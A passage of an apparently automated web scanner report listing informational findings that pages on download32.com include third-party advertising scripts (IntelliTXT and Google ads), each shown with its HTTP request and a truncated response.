Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:23 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 35453

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download IsEu - EU d
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.182. http://www.download32.com/linktous.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/linktous.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /linktous.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:57:22 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 15129

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Link To Us Informati
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.183. http://www.download32.com/linux-19-platform.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/linux-19-platform.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /linux-19-platform.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:11 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 60016

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Top Categories - Lin
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.184. http://www.download32.com/macintosh-2-platform.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/macintosh-2-platform.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /macintosh-2-platform.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:55:01 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 60340

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Top Categories - Mac
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.185. http://www.download32.com/netstat-agent-portable-d60918.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/netstat-agent-portable-d60918.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /netstat-agent-portable-d60918.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:43 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34958

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>NetStat Agent Portab
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.186. http://www.download32.com/netstat-agent-portable-i60918.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/netstat-agent-portable-i60918.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /netstat-agent-portable-i60918.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:49 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 36880

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download NetStat Age
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.187. http://www.download32.com/network-utilities-module-for-webmin-d78618.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/network-utilities-module-for-webmin-d78618.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /network-utilities-module-for-webmin-d78618.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:16 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 32614

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Network Utilities Mo
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.188. http://www.download32.com/network-utilities-module-for-webmin-i78618.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/network-utilities-module-for-webmin-i78618.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /network-utilities-module-for-webmin-i78618.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:18 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 33144

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download Network Uti
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.189. http://www.download32.com/new.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/new.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /new.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:55 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 70844

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>New Downloads (Page
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.190. http://www.download32.com/nslookup-software.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/nslookup-software.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

Response

21.191. http://www.download32.com/ntoolc-network-tools-i68640.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/ntoolc-network-tools-i68640.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /ntoolc-network-tools-i68640.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:56:09 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 35270

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download NToolc Netw
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.192. http://www.download32.com/palm-os-3-platform.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/palm-os-3-platform.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /palm-os-3-platform.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:03 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 61584

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Top Categories - Pal
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.193. http://www.download32.com/resolve-d55498.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/resolve-d55498.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /resolve-d55498.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:13 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 33675

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Resolve 1.0 Free Dow
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.194. http://www.download32.com/resolve-i55498.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/resolve-i55498.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /resolve-i55498.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:10 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 32443

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download Resolve Fre
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.195. http://www.download32.com/resources/all.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/resources/all.js

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /resources/all.js HTTP/1.1
Host: www.download32.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:52 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
Last-Modified: Tue, 08 Jun 2010 14:02:03 GMT
ETag: "2090e48-f8-488853bd9ccc0"
Accept-Ranges: bytes
Cache-Control: max-age=1209600, proxy-revalidate, must-revalidate
Expires: Sat, 19 Feb 2011 21:47:52 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: application/x-javascript
Content-Length: 248

google_ad_client    = "pub-9271629784327781";
google_ad_slot        = "7244137567";
google_ad_width        = 336;
google_ad_height    = 280;
document.write('<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

21.196. http://www.download32.com/resources/img.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/resources/img.js

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /resources/img.js HTTP/1.1
Host: www.download32.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/nslookup-software.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:53 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
Last-Modified: Tue, 08 Jun 2010 14:02:03 GMT
ETag: "2090e49-118-488853bd9ccc0"
Accept-Ranges: bytes
Cache-Control: max-age=1209600, proxy-revalidate, must-revalidate
Expires: Sat, 19 Feb 2011 21:47:53 GMT
Vary: Accept-Encoding,User-Agent
Content-Type: application/x-javascript
Content-Length: 280

google_ad_client    = "pub-9271629784327781";
google_ad_slot        = "7244137567";
google_ad_width        = 336;
google_ad_height    = 280;
google_ad_type = "image";
document.write('<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

21.197. http://www.download32.com/rss previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/rss

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /rss HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:58 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 65876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>RSS Feeds - Download
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.198. http://www.download32.com/search/Array previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/search/Array

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /search/Array HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:02:59 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 74981

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Array : Download32 S
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.199. http://www.download32.com/skdns-activex-control-d10700.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/skdns-activex-control-d10700.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /skdns-activex-control-d10700.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:41 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 34255

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>SkDNS ActiveX Contro
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.200. http://www.download32.com/skdns-activex-control-i10700.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/skdns-activex-control-i10700.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /skdns-activex-control-i10700.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:16 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 35897

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download SkDNS Activ
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.201. http://www.download32.com/submit.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/submit.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /submit.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:20 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: 1 Jan 1970 00:00:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 49315

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Submit Software, Sha
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.202. http://www.download32.com/top.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/top.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /top.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:58 GMT
